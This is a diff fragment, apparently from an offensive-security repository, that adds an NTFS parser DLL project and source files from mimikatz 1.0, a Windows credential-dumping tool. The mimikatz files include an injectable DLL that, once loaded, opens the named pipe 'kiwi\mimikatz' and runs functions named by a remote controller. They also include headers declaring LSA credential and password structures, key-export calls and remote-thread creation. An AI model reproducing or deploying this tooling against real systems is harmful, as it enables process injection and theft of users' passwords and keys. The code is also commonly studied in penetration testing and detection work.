if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CNTFSVolume::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
#endif

View File

@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview
========================================================================
AppWizard has created this NTFSParserDLL DLL for you.
This file contains a summary of what you will find in each of the files that
make up your NTFSParserDLL application.
NTFSParserDLL.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NTFSParserDLL.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NTFSParserDLL.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////

View File

@ -0,0 +1,36 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// NTFSParserDLL.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file

View File

@ -0,0 +1,18 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
// Windows Header Files:
#include <windows.h>
#include <string>
#include <iostream>
// TODO: reference additional headers your program requires here

View File

@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,128 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#pragma warning(disable:4530)
#include <stdio.h>
#include <windows.h>
#include <ntsecapi.h>
#include <string>
#include <vector>
using namespace std;
#define SECURITY_WIN32
#define PAGE_SIZE 0x1000
#define MAX_DOMAIN_LEN 24
#define MAX_USERNAME_LEN 24
#define MIMIKATZ L"mimikatz"
#ifdef _M_X64
#define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)"
#else ifdef
#define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)"
#endif
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;}
typedef bool (* PKIWI_LOCAL_COMMAND) (vector<wstring> * arguments);
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND {
PKIWI_LOCAL_COMMAND ptrCommand;
wstring commandName;
wstring commandHelp;
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {}
_KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {}
} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND;
typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE {
wstring module;
wstring description;
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> commandes;
_KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {}
} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE;
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef const ULONG CLONG;
typedef const UNICODE_STRING *PCUNICODE_STRING;
typedef STRING OEM_STRING;
typedef PSTRING POEM_STRING;
typedef CONST STRING* PCOEM_STRING;
/* System* */
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]);
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]);
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]);
typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]);
/* CNG */
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput);
typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject);
typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer);
typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer);
typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags);
typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey);
typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags);
/* Rtl* */
#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart))
typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId);
typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString);
typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);
typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString);
typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct);
typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize);
typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer);
typedef struct _RTL_BALANCED_LINKS {
struct _RTL_BALANCED_LINKS *Parent;
struct _RTL_BALANCED_LINKS *LeftChild;
struct _RTL_BALANCED_LINKS *RightChild;
CHAR Balance;
UCHAR Reserved[3];
} RTL_BALANCED_LINKS;
typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS;
typedef enum _RTL_GENERIC_COMPARE_RESULTS {
GenericLessThan,
GenericGreaterThan,
GenericEqual
} RTL_GENERIC_COMPARE_RESULTS;
typedef struct _RTL_AVL_TABLE {
RTL_BALANCED_LINKS BalancedRoot;
PVOID OrderedPointer;
ULONG WhichOrderedElement;
ULONG NumberGenericTableElements;
ULONG DepthOfTree;
PRTL_BALANCED_LINKS RestartKey;
ULONG DeleteCount;
PRTL_AVL_COMPARE_ROUTINE CompareRoutine;
PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine;
PRTL_AVL_FREE_ROUTINE FreeRoutine;
PVOID TableContext;
} RTL_AVL_TABLE, *PRTL_AVL_TABLE;

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

View File

@ -0,0 +1,139 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kmodel.h"
HMODULE g_hModule = NULL;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
g_hModule = hModule;
HANDLE hThread = CreateThread(NULL, 0, &ThreadProc, NULL, 0, NULL);
if(hThread && hThread != INVALID_HANDLE_VALUE)
{
return CloseHandle(hThread);
}
}
return TRUE;
}
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
mod_pipe * monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
bool succes = false;
for(DWORD nbRetry = 1; nbRetry <= 5 && !succes; nbRetry++)
{
succes = monCommunicator->createClient();
if(!succes)
{
Sleep(3000);
}
}
if(succes)
{
ptrFunctionString maFonctionString = reinterpret_cast<ptrFunctionString>(GetProcAddress(g_hModule, "getDescription"));
wstring monBuffer = L"Bienvenue dans un processus distant\n\t\t\tGentil Kiwi";
if(maFonctionString)
{
wstring * maDescription = new wstring();
if(maFonctionString(maDescription))
{
monBuffer.append(L"\n\n");
monBuffer.append(*maDescription);
}
delete maDescription;
}
if(monCommunicator->writeToPipe(monBuffer))
{
for(;;)
{
if(monCommunicator->readFromPipe(monBuffer))
{
wstring fonction = monBuffer;
vector<wstring> arguments;
size_t monIndex = fonction.find(L' ');
if(monIndex != wstring::npos)
{
arguments = mod_parseur::parse(fonction.substr(monIndex + 1));
fonction = fonction.substr(0, monIndex);
}
string procDll(fonction.begin(), fonction.end());
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str()));
if(maFonction)
{
if(maFonction(monCommunicator, &arguments))
{
monBuffer = L"@";
}
else // La fonction à retourné FALSE, il y a donc anomalie bloquante sur le canal
{
break;
}
}
else
{
monBuffer = L"@Méthode \'";
monBuffer.append(fonction);
monBuffer.append(L"\' introuvable !\n");
}
if(!monCommunicator->writeToPipe(monBuffer))
{
break;
}
}
else
{
break;
}
}
}
}
delete monCommunicator;
FreeLibraryAndExitThread(g_hModule, 0);
return 0;
}
bool sendTo(mod_pipe * monPipe, wstring message)
{
wstring reponse = L"#";
reponse.append(message);
return monPipe->writeToPipe(reponse);
}
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments)
{
bool sendOk = sendTo(monPipe, L"pong");
for(vector<wstring>::iterator monArgument = mesArguments->begin(); monArgument != mesArguments->end() && sendOk; monArgument++)
{
wstring maReponse = L" - argument:";
maReponse.append(*monArgument);
sendOk = sendTo(monPipe, maReponse);
}
if(sendOk)
sendOk = sendTo(monPipe, L"\n");
return sendOk;
}

View File

@ -0,0 +1,21 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_pipe.h"
#include "mod_parseur.h"
#define __kextdll extern "C" __declspec(dllexport)
typedef bool (__cdecl * ptrFunction) (mod_pipe * monPipe, vector<wstring> * mesArguments);
typedef bool (__cdecl * ptrFunctionString) (wstring * maDescription);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
DWORD WINAPI ThreadProc(LPVOID lpParameter);
bool sendTo(mod_pipe * monPipe, wstring message);
__kextdll bool __cdecl ping(mod_pipe * monPipe, vector<wstring> * mesArguments);

View File

@ -0,0 +1,239 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <sspi.h>
#include <wincred.h>
typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL
{
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING Domaine;
LSA_UNICODE_STRING Password;
} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL;
typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) ();
typedef PVOID *PLSA_CLIENT_REQUEST;
typedef LPTHREAD_START_ROUTINE SEC_THREAD_START;
typedef LPSECURITY_ATTRIBUTES SEC_ATTRS;
typedef struct _SECPKG_CLIENT_INFO {
LUID LogonId; // Effective Logon Id
ULONG ProcessID; // Process Id of caller
ULONG ThreadID; // Thread Id of caller
BOOLEAN HasTcbPrivilege; // Client has TCB
BOOLEAN Impersonating; // Client is impersonating
BOOLEAN Restricted; // Client is restricted
// NT 5.1
UCHAR ClientFlags; // Extra flags about the client
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client
// NT 6
HANDLE ClientToken;
} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO;
typedef enum _LSA_TOKEN_INFORMATION_TYPE {
LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type
LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type
LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type
} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE;
typedef enum _SECPKG_NAME_TYPE {
SecNameSamCompatible,
SecNameAlternateId,
SecNameFlat,
SecNameDN,
SecNameSPN
} SECPKG_NAME_TYPE;
typedef struct _SECPKG_CALL_INFO {
ULONG ProcessId;
ULONG ThreadId;
ULONG Attributes;
ULONG CallCount;
PVOID MechOid; // mechanism objection identifer
} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO;
typedef enum _SECPKG_SESSIONINFO_TYPE {
SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED
} SECPKG_SESSIONINFO_TYPE;
typedef struct _SECPKG_PRIMARY_CRED {
LUID LogonId;
UNICODE_STRING DownlevelName; // Sam Account Name
UNICODE_STRING DomainName; // Netbios domain name where account is located
UNICODE_STRING Password;
UNICODE_STRING OldPassword;
PSID UserSid;
ULONG Flags;
UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known)
UNICODE_STRING Upn; // UPN of account (if known)
UNICODE_STRING LogonServer;
UNICODE_STRING Spare1;
UNICODE_STRING Spare2;
UNICODE_STRING Spare3;
UNICODE_STRING Spare4;
} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;
typedef struct _SECPKG_SUPPLEMENTAL_CRED {
UNICODE_STRING PackageName;
ULONG CredentialSize;
#ifdef MIDL_PASS
[size_is(CredentialSize)]
#endif // MIDL_PASS
PUCHAR Credentials;
} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED;
typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY {
ULONG CredentialCount;
#ifdef MIDL_PASS
[size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*];
#else // MIDL_PASS
SECPKG_SUPPLEMENTAL_CRED Credentials[1];
#endif // MIDL_PASS
} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY;
typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer);
typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId);
typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId);
typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials);
typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials);
typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue);
typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length);
typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base);
typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length);
typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base);
typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress);
typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress);
typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy);
typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress);
typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID);
typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID);
typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle);
typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous);
typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId);
typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo);
typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent);
typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle);
typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer);
typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus);
typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus);
typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId);
typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info);
typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize);
typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size);
typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory);
typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem);
typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle);
typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize);
typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize);
typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle);
typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName);
typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus);
typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus);
